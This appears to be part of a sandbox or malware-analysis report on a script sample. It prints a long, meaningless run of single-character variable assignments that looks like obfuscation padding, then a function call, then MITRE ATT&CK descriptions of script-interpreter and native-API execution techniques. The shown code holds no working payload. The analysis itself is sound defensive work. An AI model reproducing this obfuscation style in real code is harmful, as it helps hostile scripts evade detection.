445	uwxcsjaw = "r";
446	uwxcsjaw = "j";
447	uwxcsjaw = "W";
448	uwxcsjaw = "y";
449	uwxcsjaw = "f";
450	uwxcsjaw = "z";
451	uwxcsjaw = "G";
452	uwxcsjaw = "s";
453	uwxcsjaw = "x";
454	uwxcsjaw = "O";
455	uwxcsjaw = "i";
456	uwxcsjaw = "D";
457	uwxcsjaw = "A";
458	uwxcsjaw = "u";
459	uwxcsjaw = "k";
460	uwxcsjaw = "t";
461	uwxcsjaw = "c";
462	uwxcsjaw = "b";
463	uwxcsjaw = "l";
464	uwxcsjaw = "A";
465	uwxcsjaw = "M";
466	uwxcsjaw = "V";
467	uwxcsjaw = "I";
468	uwxcsjaw = "q";
469	uwxcsjaw = "t";
470	uwxcsjaw = "V";
471	uwxcsjaw = "v";
472	uwxcsjaw = "U";
473	uwxcsjaw = "s";
474	uwxcsjaw = "M";
475	uwxcsjaw = "c";
476	uwxcsjaw = "g";
477	jhrlf = "o";
478	jhrlf = "i";
479	jhrlf = "b";
480	jhrlf = "b";
481	jhrlf = "s";
482	aijvonneu = "d";
483	aijvonneu = "M";
484	aijvonneu = "w";
485	aijvonneu = "m";
486	aijvonneu = "W";
487	aijvonneu = "z";
488	aijvonneu = "B";
489	aijvonneu = "g";
490	aijvonneu = "v";
491	aijvonneu = "w";
492	aijvonneu = "A";
493	aijvonneu = "B";
494	aijvonneu = "p";
495	aijvonneu = "k";
496	aijvonneu = "D";
497	aijvonneu = "N";
498	aijvonneu = "e";
499	aijvonneu = "m";
500	aijvonneu = "g";
501	aijvonneu = "j";
502	aijvonneu = "L";
503	aijvonneu = "r";
504	aijvonneu = "s";
505	aijvonneu = "o";
506	aijvonneu = "m";
507	aijvonneu = "O";
508	aijvonneu = "i";
509	rmhykejsl = "j";
510	rmhykejsl = "B";
511	rmhykejsl = "N";
512	rmhykejsl = "U";
513	rmhykejsl = "b";
514	rmhykejsl = "U";
515	rmhykejsl = "M";
516	rmhykejsl = "P";
517	rmhykejsl = "c";
518	rmhykejsl = "w";
519	rmhykejsl = "H";
520	rmhykejsl = "A";
521	rmhykejsl = "x";
522	rmhykejsl = "y";
523	rmhykejsl = "T";
524	rmhykejsl = "t";
525	rmhykejsl = "w";
526	rmhykejsl = "I";
527	rmhykejsl = "u";
528	rmhykejsl = "l";
529	rmhykejsl = "h";
530	rmhykejsl = "X";
531	rmhykejsl = "c";
532	rmhykejsl = "Q";
533	rmhykejsl = "z";
534	rmhykejsl = "b";
535	rmhykejsl = "Z";
536	rmhykejsl = "-";
537	oodvzlgmz = "P";
538	oodvzlgmz = "n";
539	oodvzlgmz = "S";
540	oodvzlgmz = "S";
541	oodvzlgmz = "u";
542	oodvzlgmz = "B";
543	oodvzlgmz = "j";
544	oodvzlgmz = "s";
545	oodvzlgmz = "S";
546	oodvzlgmz = "L";
547	oodvzlgmz = "b";
548	oodvzlgmz = "I";
549	oodvzlgmz = "Z";
550	oodvzlgmz = "p";
551	oodvzlgmz = "M";
552	oodvzlgmz = "I";
553	oodvzlgmz = "O";
554	oodvzlgmz = "D";
555	oodvzlgmz = "K";
556	oodvzlgmz = "r";
557	oodvzlgmz = "S";
558	oodvzlgmz = "S";
559	oodvzlgmz = "z";
560	oodvzlgmz = "v";
561	oodvzlgmz = "P";
562	oodvzlgmz = "G";
563	oodvzlgmz = "V";
564	oodvzlgmz = "v";
565	oodvzlgmz = "r";
566	oodvzlgmz = "k";
567	oodvzlgmz = "n";
568	oodvzlgmz = "X";
569	oodvzlgmz = "a";
570	oodvzlgmz = "i";
571	oodvzlgmz = "t";
572	oodvzlgmz = "K";
573	oodvzlgmz = "I";
574	bzphw = "k";
575	bzphw = "R";
576	bzphw = "h";
577	bzphw = "F";
578	bzphw = "c";
579	bzphw = "F";
580	bzphw = "z";
581	bzphw = "H";
582	bzphw = "y";
583	bzphw = "D";
584	bzphw = "q";
585	bzphw = "D";
586	bzphw = "f";
587	bzphw = "H";
588	zfuulzbk = "a";
589	zfuulzbk = "C";
590	zfuulzbk = "I";
591	zfuulzbk = "r";
592	zfuulzbk = "N";
593	zfuulzbk = "d";
594	zfuulzbk = "h";
595	zfuulzbk = "S";
596	zfuulzbk = "l";
597	zfuulzbk = "d";
598	zfuulzbk = "O";
599	zfuulzbk = "b";
600	zfuulzbk = "a";
601	zfuulzbk = "p";
602	zfuulzbk = "Z";
603	zfuulzbk = "z";
604	zfuulzbk = "h";
605	zfuulzbk = "e";
606	zfuulzbk = "y";
607	zfuulzbk = "w";
608	iutjgok = "w";
609	iutjgok = "z";
610	iutjgok = "U";
611	iutjgok = "g";
612	iutjgok = "G";
613	iutjgok = "e";
614	iutjgok = "K";
615	iutjgok = "V";
616	iutjgok = "h";
617	iutjgok = "l";
618	iutjgok = "G";
619	iutjgok = "U";
620	iutjgok = "X";
621	iutjgok = "h";
622	qmwtqsc = "a";
623	qmwtqsc = "f";
624	qmwtqsc = "p";
625	qmwtqsc = "c";
626	qmwtqsc = "b";
627	qmwtqsc = "X";
628	qmwtqsc = "Q";
629	qmwtqsc = "d";
630	qmwtqsc = "G";
631	qmwtqsc = "P";
632	qmwtqsc = "W";
633	qmwtqsc = "I";
634	qmwtqsc = "p";
635	qmwtqsc = "U";
636	qmwtqsc = "0";
637	tybjniwq = "x";
638	tybjniwq = "T";
639	tybjniwq = "T";
640	tybjniwq = "e";
641	tybjniwq = "N";
642	tybjniwq = "r";
643	tybjniwq = "I";
644	tybjniwq = "L";
645	tybjniwq = "H";
646	tybjniwq = "A";
647	tybjniwq = "J";
648	tybjniwq = "K";
649	tybjniwq = "F";
650	tybjniwq = "V";
651	tybjniwq = "e";
652	tybjniwq = "b";
653	tybjniwq = "C";
654	tybjniwq = "V";
655	tybjniwq = "L";
656	tybjniwq = "j";
657	tybjniwq = "R";
658	tybjniwq = "a";
659	tybjniwq = "n";
660	tybjniwq = "r";
661	tybjniwq = "T";
662	tybjniwq = "m";
663	elvoqyq = "c";
664	elvoqyq = "l";
665	elvoqyq = "O";
666	elvoqyq = "N";
667	elvoqyq = "I";
668	elvoqyq = "v";
669	elvoqyq = "z";
670	elvoqyq = "D";
671	elvoqyq = "U";
672	elvoqyq = "Y";
673	mfisyt = "h";
674	mfisyt = "A";
675	mfisyt = "w";
676	mfisyt = "C";
677	mfisyt = "P";
678	mfisyt = "i";
679	mfisyt = "z";
680	mfisyt = "S";
681	mfisyt = "O";
682	mfisyt = "i";
683	mfisyt = "p";
684	mfisyt = "G";
685	mfisyt = "V";
686	mfisyt = "Y";
687	mfisyt = "C";
688	mfisyt = "g";
689	mfisyt = "D";
690	mfisyt = "f";
691	mfisyt = "K";
692	mfisyt = "o";
693	mfisyt = "w";
694	mfisyt = "K";
695	mfisyt = "e";
696	mfisyt = "M";
697	mfisyt = "b";
698	mfisyt = "W";
699	mfisyt = "Z";
700	mfisyt = "f";
701	mfisyt = "S";
702	mfisyt = "d";
703	mfisyt = "S";
704	mfisyt = "w";
705	mfisyt = "w";
706	mfisyt = "k";
707	mfisyt = "T";
708	mfisyt = "p";
709	mfisyt = "H";
710	mfisyt = "D";
711	mfisyt = "k";
712	mfisyt = "W";
713	mfisyt = "M";
714	mfisyt = "n";
715	anibp = "r";
716	anibp = "l";
717	anibp = "b";
718	anibp = "V";
719	anibp = "n";
720	anibp = "l";
721	anibp = "m";
722	anibp = "C";
723	anibp = "S";
724	anibp = "c";
725	anibp = "q";
726	anibp = "P";
727	anibp = "R";
728	anibp = "j";
729	anibp = "p";
730	zbrqosyn = "U";
731	zbrqosyn = "K";
732	zbrqosyn = "U";
733	zbrqosyn = "n";
734	zbrqosyn = "h";
735	zbrqosyn = "W";
736	zbrqosyn = "y";
737	zbrqosyn = "j";
738	zbrqosyn = "v";
739	zbrqosyn = "u";
740	zbrqosyn = "o";
741	zbrqosyn = "I";
742	zbrqosyn = "c";
743	zbrqosyn = "B";
744	zbrqosyn = "D";
745	zbrqosyn = "X";
746	zbrqosyn = "E";
747	zbrqosyn = "a";
748	zbrqosyn = "N";
749	zbrqosyn = "a";
750	zbrqosyn = "n";
751	zbrqosyn = "m";
752	zbrqosyn = "K";
753	zbrqosyn = "k";
754	zbrqosyn = "t";
755	zbrqosyn = "y";
756	zbrqosyn = "x";
757	zbrqosyn = "I";
758	zbrqosyn = "z";
759	zbrqosyn = "U";
760	zbrqosyn = "l";
761	mmfcp = "a";
762	mmfcp = "S";
763	mmfcp = "K";
764	mmfcp = "g";
765	mmfcp = "S";
766	mmfcp = "p";
767	mmfcp = "o";
768	lvszjvhhn = "i";
769	lvszjvhhn = "b";
770	lvszjvhhn = "b";
771	lvszjvhhn = "j";
772	lvszjvhhn = "t";
773	lvszjvhhn = "H";
774	lvszjvhhn = "U";
775	lvszjvhhn = "X";
776	lvszjvhhn = "z";
777	lvszjvhhn = "f";
778	ucrbeib = "K";
779	ucrbeib = "H";
780	ucrbeib = "Y";
781	ucrbeib = "W";
782	ucrbeib = "G";
783	ucrbeib = "k";
784	ucrbeib = "q";
785	ucrbeib = "X";
786	ucrbeib = "m";
787	ucrbeib = "T";
788	ucrbeib = "w";
789	ucrbeib = "g";
790	ucrbeib = "O";
791	ucrbeib = "L";
792	ucrbeib = "l";
793	ucrbeib = "U";
794	ucrbeib = "g";
795	ucrbeib = "w";
796	ucrbeib = "p";
797	ucrbeib = "s";
798	ucrbeib = "y";
799	ucrbeib = "5";
800	uhlxe = "t";
801	uhlxe = "Q";
802	uhlxe = "L";
803	uhlxe = "c";
804	uhlxe = " ";
805	jzxpic = "e";
806	jzxpic = "a";
807	jzxpic = "H";
808	jzxpic = "g";
809	jzxpic = "R";
810	jzxpic = "R";
811	jzxpic = "H";
812	jzxpic = "e";
813	jzxpic = "O";
814	jzxpic = "x";
815	jzxpic = "q";
816	jzxpic = "E";
817	jzxpic = "d";
818	jzxpic = "e";
819	jzxpic = "X";
820	jzxpic = "X";
821	jzxpic = "X";
822	jzxpic = "U";
823	jzxpic = "S";
824	jzxpic = "e";
825	jzxpic = "j";
826	jzxpic = "X";
827	jzxpic = "k";
828	jzxpic = "O";
829	jzxpic = "S";
830	jzxpic = "C";
831	jzxpic = "X";
832	jzxpic = "c";
833	jzxpic = "t";
834	jzxpic = "E";
835	jzxpic = "M";
836	jzxpic = "w";
837	jzxpic = "K";
838	jzxpic = "N";
839	jzxpic = "m";
840	jzxpic = "R";
841	jzxpic = "y";
842	jzxpic = "P";
843	ezobuab = "M";
844	ezobuab = "q";
845	ezobuab = "k";
846	ezobuab = "Z";
847	ezobuab = "v";
848	ezobuab = "m";
849	ezobuab = "e";
850	ezobuab = "d";
851	ezobuab = "S";
852	ezobuab = "C";
853	ezobuab = "T";
854	ezobuab = "J";
855	ezobuab = "L";
856	ezobuab = "g";
857	ezobuab = "j";
858	ezobuab = "J";
859	ezobuab = "g";
860	ezobuab = "N";
861	ezobuab = "G";
862	ezobuab = "O";
863	ezobuab = "t";
864	ezobuab = "H";
865	ezobuab = "s";
866	ezobuab = "C";
867	ezobuab = "U";
868	ezobuab = "S";
869	ezobuab = "Y";
870	ezobuab = "a";
871	ezobuab = "d";
872	ezobuab = "r";
873	ezobuab = "r";
874	ezobuab = "u";
875	ezobuab = "B";
876	ezobuab = "Y";
877	ezobuab = "w";
878	ezobuab = "f";
879	ezobuab = "M";
880	ezobuab = "C";
881	ezobuab = "W";
882	ezobuab = "P";
883	ezobuab = "V";
884	ezobuab = "z";
885	ezobuab = "v";
886	ezobuab = "I";
887	ezobuab = ".";
888	usxls = "Q";
889	usxls = "g";
890	usxls = "q";
891	usxls = "U";
892	pcllhk = "T";
893	pcllhk = "i";
894	pcllhk = "I";
895	pcllhk = "P";
896	pcllhk = "F";
897	pcllhk = "P";
898	pcllhk = "D";
899	pcllhk = "V";
900	pcllhk = "Y";
901	pcllhk = "z";
902	pcllhk = "P";
903	pcllhk = "c";
904	pcllhk = "k";
905	pcllhk = "s";
906	pcllhk = "p";
907	pcllhk = "E";
908	pcllhk = "g";
909	pcllhk = "u";
910	pcllhk = "/";
911	yzewbem = "i";
912	yzewbem = "u";
913	yzewbem = "B";
914	yzewbem = "X";
915	yzewbem = "A";
916	yzewbem = "E";
917	yzewbem = "b";
918	yzewbem = "Y";
919	yzewbem = "W";
920	yzewbem = "P";
921	yzewbem = "T";
922	yzewbem = "A";
923	yzewbem = "K";
924	yzewbem = "m";
925	yzewbem = "S";
926	yzewbem = "v";
927	yzewbem = "F";
928	yzewbem = "h";
929	yzewbem = "C";
930	yzewbem = "I";
931	yzewbem = "k";
932	yzewbem = "c";
933	yzewbem = "j";
934	yzewbem = "a";
935	yzewbem = "D";
936	yzewbem = "q";
937	fxszuylh = "J";
938	fxszuylh = "o";
939	fxszuylh = "R";
940	fxszuylh = "f";
941	fxszuylh = "Y";
942	fxszuylh = "F";
943	fxszuylh = "T";
944	fxszuylh = "P";
945	fxszuylh = "r";
946	fxszuylh = "l";
947	fxszuylh = "t";
948	fxszuylh = "O";
949	fxszuylh = "J";
950	fxszuylh = "W";
951	fxszuylh = "r";
952	fxszuylh = "q";
953	fxszuylh = "q";
954	fxszuylh = "Z";
955	fxszuylh = "r";
956	jxqnvia = "I";
957	jxqnvia = "d";
958	jxqnvia = "a";
959	jxqnvia = "f";
960	jxqnvia = "j";
961	jxqnvia = "L";
962	jxqnvia = "Q";
963	jxqnvia = "S";
964	jxqnvia = "k";
965	jxqnvia = "N";
966	jxqnvia = "o";
967	jxqnvia = "u";
968	jxqnvia = "q";
969	jxqnvia = "R";
970	jxqnvia = "p";
971	jxqnvia = "V";
972	jxqnvia = "J";
973	jxqnvia = "Q";
974	jxqnvia = "o";
975	jxqnvia = "V";
976	jxqnvia = "p";
977	jxqnvia = "E";
978	jxqnvia = "G";
979	jxqnvia = "c";
980	jxqnvia = "D";
981	jxqnvia = "k";
982	vjemb = "R";
983	vjemb = "j";
984	vjemb = "v";
985	vjemb = "Z";
986	vjemb = "x";
987	vjemb = "m";
988	vjemb = "r";
989	vjemb = "s";
990	vjemb = "i";
991	vjemb = "j";
992	vjemb = "T";
993	vjemb = "j";
994	vjemb = "d";
995	vjemb = "O";
996	vjemb = "k";
997	vjemb = "v";
998	mdgenyu = "l";
999	mdgenyu = "P";
1000	mdgenyu = "H";
1001	mdgenyu = "v";
1002	mdgenyu = "y";
1003	mdgenyu = "v";
1004	mdgenyu = "A";
1005	mdgenyu = "Q";
1006	mdgenyu = "b";
1007	mdgenyu = "n";
1008	mdgenyu = "E";
1009	mdgenyu = "n";
1010	mdgenyu = "O";
1011	mdgenyu = "v";
1012	mdgenyu = "e";
1013	mdgenyu = "C";
1014	mdgenyu = "l";
1015	mdgenyu = "y";
1016	mdgenyu = "V";
1017	mdgenyu = "I";
1018	mdgenyu = "D";
1019	mdgenyu = "L";
1020	mdgenyu = "S";
1021	punuoja = "B";
1022	punuoja = "A";
1023	punuoja = "e";
1024	punuoja = "A";
1025	punuoja = "g";
1026	punuoja = "l";
1027	punuoja = "u";
1028	punuoja = "f";
1029	punuoja = "B";
1030	punuoja = "R";
1031	punuoja = "e";
1032	punuoja = "N";
1033	punuoja = "e";
1034	punuoja = "j";
1035	punuoja = "7";
1036	fycememjg = "H";
1037	fycememjg = "P";
1038	fycememjg = "T";
1039	fycememjg = "H";
1040	fycememjg = "Q";
1041	fycememjg = "d";
1042	fycememjg = "W";
1043	fycememjg = "F";
1044	fycememjg = "G";
1045	fycememjg = "B";
1046	fycememjg = "F";
1047	fycememjg = "v";
1048	fycememjg = "j";
1049	fycememjg = "Z";
1050	fycememjg = "E";
1051	fycememjg = "d";
1052	fycememjg = "t";
1053	fycememjg = "U";
1054	fycememjg = "Q";
1055	fycememjg = "j";
1056	fycememjg = "f";
1057	fycememjg = "w";
1058	fycememjg = "y";
1059	fycememjg = "Q";
1060	fycememjg = "b";
1061	fycememjg = "m";
1062	fycememjg = "g";
1063	fycememjg = "W";
1064	fycememjg = "n";
1065	fycememjg = "C";
1066	fycememjg = "@";
1067	dwnssllf = "A";
1068	dwnssllf = "J";
1069	dwnssllf = "D";
1070	dwnssllf = "j";
1071	dwnssllf = "A";
1072	dwnssllf = "S";
1073	dwnssllf = "G";
1074	dwnssllf = "\\";
1075	fimwc = "k";
1076	fimwc = "O";
1077	fimwc = "i";
1078	fimwc = "s";
1079	fimwc = "J";
1080	fimwc = "V";
1081	fimwc = "N";
1082	fimwc = "p";
1083	fimwc = "W";
1084	fimwc = "z";
1085	fimwc = "r";
1086	fimwc = "v";
1087	fimwc = "h";
1088	fimwc = "q";
1089	fimwc = "d";
1090	fimwc = "H";
1091	fimwc = "O";
1092	fimwc = "W";
1093	fimwc = "x";
1094	fimwc = "K";
1095	gnppz = "u";
1096	gnppz = "G";
1097	gnppz = "y";
1098	gnppz = "W";
1099	gnppz = "y";
1100	gnppz = "q";
1101	gnppz = "S";
1102	gnppz = "W";
1103	gnppz = "m";
1104	gnppz = "J";
1105	gnppz = "b";
1106	gnppz = "y";
1107	gnppz = "d";
1108	suhfi = "I";
1109	suhfi = "f";
1110	suhfi = "w";
1111	suhfi = "r";
1112	suhfi = "R";
1113	suhfi = "E";
1114	suhfi = "J";
1115	suhfi = "C";
1116	suhfi = "o";
1117	suhfi = "F";
1118	suhfi = "H";
1119	suhfi = "L";
1120	suhfi = "h";
1121	suhfi = "q";
1122	suhfi = "o";
1123	suhfi = "j";
1124	suhfi = "Y";
1125	suhfi = "N";
1126	suhfi = "N";
1127	suhfi = "Z";
1128	suhfi = "F";
1129	suhfi = "R";
1130	suhfi = "v";
1131	suhfi = "U";
1132	suhfi = "d";
1133	suhfi = "F";
1134	suhfi = "N";
1135	suhfi = "L";
1136	epkvgsn = "X";
1137	epkvgsn = "T";
1138	epkvgsn = "P";
1139	epkvgsn = "f";
1140	epkvgsn = "P";
1141	epkvgsn = "g";
1142	epkvgsn = "l";
1143	epkvgsn = "E";
1144	epkvgsn = "H";
1145	epkvgsn = "a";
1146	epkvgsn = "s";
1147	epkvgsn = "S";
1148	epkvgsn = "%";
1149	igvlgerob = "u";
1150	igvlgerob = "S";
1151	igvlgerob = "P";
1152	igvlgerob = "A";
1153	igvlgerob = "c";
1154	igvlgerob = "X";
1155	igvlgerob = "j";
1156	igvlgerob = "s";
1157	igvlgerob = "A";
1158	igvlgerob = "u";
1159	vtgcpfc = "n";
1160	vtgcpfc = "M";
1161	vtgcpfc = "m";
1162	vtgcpfc = "B";
1163	vtgcpfc = "z";
1164	vtgcpfc = "z";
1165	vtgcpfc = "V";
1166	vtgcpfc = "Z";
1167	vtgcpfc = "S";
1168	vtgcpfc = "M";
1169	vtgcpfc = "M";
1170	vtgcpfc = "j";
1171	vtgcpfc = "F";
1172	vtgcpfc = "U";
1173	vtgcpfc = "g";
1174	vtgcpfc = "D";
1175	vtgcpfc = "i";
1176	vtgcpfc = "M";
1177	vtgcpfc = "f";
1178	vtgcpfc = "P";
1179	vtgcpfc = "e";
1180	vtgcpfc = "O";
1181	vtgcpfc = "s";
1182	vtgcpfc = "F";
1183	vtgcpfc = "g";
1184	vtgcpfc = "Z";
1185	vtgcpfc = "R";
1186	vtgcpfc = "g";
1187	vtgcpfc = "3";
1188	bnncoxxpb = "t";
1189	aczyauva = "J";
1190	aczyauva = "j";
1191	aczyauva = "e";
1192	aczyauva = "s";
1193	aczyauva = "W";
1194	aczyauva = "N";
1195	aczyauva = "t";
1196	aczyauva = "v";
1197	aczyauva = "E";
1198	aczyauva = "v";
1199	aczyauva = "z";
1200	aczyauva = "I";
1201	aczyauva = "b";
1202	aczyauva = "f";
1203	aczyauva = "o";
1204	aczyauva = "i";
1205	aczyauva = "f";
1206	aczyauva = "r";
1207	aczyauva = "v";
1208	aczyauva = "d";
1209	aczyauva = "o";
1210	aczyauva = "u";
1211	aczyauva = "i";
1212	aczyauva = "Z";
1213	aczyauva = "W";
1214	aczyauva = "X";
1215	aczyauva = "C";
1216	aczyauva = "O";
1217	aczyauva = "y";
1218	aczyauva = "P";
1219	aczyauva = "r";
1220	aczyauva = "9";
1221	xsfctlsv = "r";
1222	xsfctlsv = "t";
1223	xsfctlsv = "r";
1224	xsfctlsv = "g";
1225	xsfctlsv = "k";
1226	xsfctlsv = "t";
1227	xsfctlsv = "z";
1228	xsfctlsv = "Y";
1229	xsfctlsv = "B";
1230	xsfctlsv = "F";
1231	xsfctlsv = "r";
1232	xsfctlsv = "y";
1233	xsfctlsv = "b";
1234	xsfctlsv = "k";
1235	xsfctlsv = "x";
1236	xsfctlsv = "J";
1237	xsfctlsv = "Z";
1238	xsfctlsv = "L";
1239	xsfctlsv = "p";
1240	xsfctlsv = "N";
1241	xsfctlsv = "T";
1242	xsfctlsv = "Z";
1243	xsfctlsv = "q";
1244	xsfctlsv = "B";
1245	xsfctlsv = "M";
1246	xsfctlsv = "L";
1247	xsfctlsv = "O";
1248	xsfctlsv = "R";
1249	xsfctlsv = "f";
1250	xsfctlsv = "e";
1251	xkpltcem = "f";
1252	xkpltcem = "v";
1253	xkpltcem = "B";
1254	xkpltcem = "D";
1255	xkpltcem = "Z";
1256	xkpltcem = "N";
1257	xkpltcem = "V";
1258	xkpltcem = "Q";
1259	xkpltcem = "S";
1260	xkpltcem = "a";
1261	xkpltcem = "A";
1262	xkpltcem = "G";
1263	xkpltcem = "B";
1264	xkpltcem = "p";
1265	xkpltcem = "r";
1266	xkpltcem = "O";
1267	xkpltcem = "q";
1268	xkpltcem = "T";
1269	xkpltcem = "N";
1270	xkpltcem = "W";
1271	xkpltcem = "o";
1272	xkpltcem = "y";
1273	xkpltcem = "k";
1274	xkpltcem = "e";
1275	xkpltcem = "Y";
1276	xkpltcem = "o";
1277	xkpltcem = "D";
1278	xkpltcem = "i";
1279	xkpltcem = "T";
1280	xkpltcem = "z";
1281	xkpltcem = "B";
1282	xkpltcem = "h";
1283	xkpltcem = "D";
1284	xkpltcem = "H";
1285	xkpltcem = "E";
1286	ydwdxyep = "E";
1287	ydwdxyep = "P";
1288	ydwdxyep = "A";
1289	ydwdxyep = "j";
1290	ydwdxyep = "P";
1291	ydwdxyep = "W";
1292	ydwdxyep = "j";
1293	ydwdxyep = "j";
1294	ydwdxyep = "g";
1295	ydwdxyep = "s";
1296	ydwdxyep = "G";
1297	ydwdxyep = "q";
1298	ydwdxyep = "i";
1299	ydwdxyep = "k";
1300	ydwdxyep = "C";
1301	ydwdxyep = "Q";
1302	ydwdxyep = "O";
1303	ydwdxyep = "a";
1304	ydwdxyep = "I";
1305	ydwdxyep = "z";
1306	ydwdxyep = "L";
1307	ydwdxyep = "v";
1308	ydwdxyep = "l";
1309	ydwdxyep = "y";
1310	ydwdxyep = "x";
1311	ydwdxyep = "x";
1312	ydwdxyep = "G";
1313	ydwdxyep = "l";
1314	ydwdxyep = "Y";
1315	ydwdxyep = "g";
1316	ydwdxyep = "i";
1317	ydwdxyep = "z";
1318	ydwdxyep = "J";
1319	ydwdxyep = "1";
1320	hziwknkad = "l";
1321	hziwknkad = "Y";
1322	hziwknkad = "X";
1323	hziwknkad = "M";
1324	hziwknkad = "K";
1325	hziwknkad = "P";
1326	hziwknkad = "k";
1327	hziwknkad = "E";
1328	hziwknkad = "O";
1329	hziwknkad = "b";
1330	hziwknkad = "T";
1331	hziwknkad = "y";
1332	hziwknkad = "F";
1333	hziwknkad = "F";
1334	hziwknkad = "h";
1335	hziwknkad = "H";
1336	hziwknkad = "h";
1337	hziwknkad = "z";
1338	hziwknkad = "T";
1339	hziwknkad = "b";
1340	hziwknkad = "i";
1341	hziwknkad = "_";
1342	xipjvkz = "P";
1343	xipjvkz = "E";
1344	xipjvkz = "u";
1345	xipjvkz = "Y";
1346	xipjvkz = "N";
1347	xipjvkz = "W";
1348	xipjvkz = "D";
1349	xipjvkz = "q";
1350	xipjvkz = "G";
1351	xipjvkz = "s";
1352	xipjvkz = "o";
1353	xipjvkz = "y";
1354	xipjvkz = "f";
1355	xipjvkz = "N";
1356	xipjvkz = "Q";
1357	xipjvkz = "U";
1358	xipjvkz = "q";
1359	xipjvkz = "H";
1360	xipjvkz = "O";
1361	xipjvkz = "q";
1362	xipjvkz = "W";
1363	xipjvkz = "a";
1364	zfbnpxvcf = "r";
1365	zfbnpxvcf = "F";
1366	zfbnpxvcf = "s";
1367	zfbnpxvcf = "n";
1368	zfbnpxvcf = "V";
1369	zfbnpxvcf = "w";
1370	zfbnpxvcf = "t";
1371	zfbnpxvcf = "r";
1372	zfbnpxvcf = "A";
1373	zfbnpxvcf = "B";
1374	zfbnpxvcf = "A";
1375	zfbnpxvcf = "e";
1376	zfbnpxvcf = "j";
1377	zfbnpxvcf = "F";
1378	zfbnpxvcf = "h";
1379	zfbnpxvcf = "R";
1380	zfbnpxvcf = "F";
1381	zfbnpxvcf = "s";
1382	zfbnpxvcf = "B";
1383	zfbnpxvcf = "a";
1384	zfbnpxvcf = "w";
1385	zfbnpxvcf = "W";
1386	zfbnpxvcf = "d";
1387	zfbnpxvcf = "K";
1388	zfbnpxvcf = "a";
1389	zfbnpxvcf = "H";
1390	zfbnpxvcf = "n";
1391	zfbnpxvcf = "f";
1392	zfbnpxvcf = "j";
1393	zfbnpxvcf = "K";
1394	zfbnpxvcf = "L";
1395	zfbnpxvcf = "t";
1396	zfbnpxvcf = "N";
1397	zfbnpxvcf = "O";
1398	tmgdoc = "X";
1399	tmgdoc = "w";
1400	tmgdoc = "x";
1401	tmgdoc = "d";
1402	tmgdoc = "z";
1403	tmgdoc = "Y";
1404	tmgdoc = "t";
1405	tmgdoc = "r";
1406	tmgdoc = "V";
1407	tmgdoc = "o";
1408	tmgdoc = "O";
1409	tmgdoc = "c";
1410	tmgdoc = "c";
1411	tmgdoc = "v";
1412	tmgdoc = "G";
1413	tmgdoc = "S";
1414	tmgdoc = "A";
1415	tmgdoc = "f";
1416	tmgdoc = "G";
1417	tmgdoc = "S";
1418	tmgdoc = "H";
1419	tmgdoc = "U";
1420	tmgdoc = "u";
1421	tmgdoc = "w";
1422	tmgdoc = "h";
1423	tmgdoc = "A";
1424	tmgdoc = "Z";
1425	tmgdoc = "z";
1426	tmgdoc = "V";
1427	tmgdoc = "x";
1428	tmgdoc = "U";
1429	tmgdoc = "T";
1430	tmgdoc = "r";
1431	tmgdoc = "q";
1432	tmgdoc = "H";
1433	tmgdoc = "S";
1434	tmgdoc = "T";
1435	tmgdoc = "L";
1436	tmgdoc = "t";
1437	tmgdoc = "L";
1438	tmgdoc = "Y";
1439	tmgdoc = "F";
1440	hihmb = "P";
1441	hihmb = "w";
1442	hihmb = "V";
1443	hihmb = "i";
1444	hihmb = "d";
1445	hihmb = "a";
1446	hihmb = "r";
1447	hihmb = "i";
1448	hihmb = "S";
1449	hihmb = "I";
1450	hihmb = "D";
1451	hihmb = "w";
1452	hihmb = "f";
1453	hihmb = "G";
1454	hihmb = "N";
1455	hihmb = "M";
1456	hihmb = "J";
1457	hihmb = "G";
1458	hihmb = "o";
1459	hihmb = "O";
1460	hihmb = "q";
1461	hihmb = "l";
1462	hihmb = "a";
1463	hihmb = "r";
1464	hihmb = "O";
1465	hihmb = "y";
1466	hihmb = "D";
1467	hihmb = "e";
1468	hihmb = "s";
1469	hihmb = "b";
1470	hihmb = "E";
1471	hihmb = "L";
1472	hihmb = "X";
1473	hihmb = "I";
1474	hihmb = "Y";
1475	hihmb = "q";
1476	hihmb = "F";
1477	hihmb = "C";
1478	hihmb = "v";
1479	hihmb = "v";
1480	hihmb = "\"";
1481	cfkgh = "x";
1482	cfkgh = "c";
1483	cfkgh = "F";
1484	cfkgh = "m";
1485	cfkgh = "a";
1486	cfkgh = "a";
1487	cfkgh = "a";
1488	cfkgh = "D";
1489	cfkgh = "D";
1490	cfkgh = "e";
1491	cfkgh = "q";
1492	cfkgh = "N";
1493	cfkgh = "T";
1494	cfkgh = "u";
1495	cfkgh = "z";
1496	cfkgh = "X";
1497	cfkgh = "m";
1498	cfkgh = "Z";
1499	cfkgh = "x";
1500	cfkgh = "O";
1501	cfkgh = "A";
1502	cfkgh = "w";
1503	cfkgh = "S";
1504	cfkgh = "p";
1505	cfkgh = "o";
1506	cfkgh = "g";
1507	cfkgh = "p";
1508	cfkgh = "c";
1509	cfkgh = "u";
1510	cfkgh = "d";
1511	cfkgh = "M";
1512	cfkgh = "i";
1513	cfkgh = "C";
1514	cfkgh = "f";
1515	cfkgh = "M";
1516	cfkgh = "H";
1517	cfkgh = "P";
1518	cfkgh = "C";
1519	cfkgh = "E";
1520	cfkgh = "4";
1521	ywocznvr ( );	ywocznvr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

